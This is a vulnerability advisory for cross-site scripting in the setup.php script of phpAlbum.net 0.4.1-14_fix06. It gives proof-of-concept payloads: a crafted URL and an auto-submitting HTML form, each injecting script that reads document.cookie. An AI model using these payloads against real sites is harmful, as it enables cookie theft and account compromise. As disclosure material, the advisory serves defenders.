Vulnerability ID: HTB22922 Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpalbum_net.html Product: phpAlbum.net Vendor: Patrik Jakab ( http://www.phpalbum.net/ ) Vulnerable Version: 0.4.1-14_fix06 Vendor Notification: 31 March 2011 Vulnerability Type: XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "setup.php" script to properly sanitize user-supplied input in "var3", "p_new_group_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: 1. http://host/main.php?cmd=setup&var1=user&var3=1";><script>alert(document.cookie)</script> 2. <form action="http://host/main.php"; method="post" name="main"> <input type="hidden" name="cmd" value="setup"> <input type="hidden" name="var1" value="groups"> <input type="hidden" name="var2" value="add"> <input type="hidden" name="p_new_group_name" value='1"><script>alert(document.cookie)</script>'> </form> <script> document.main.submit(); </script>
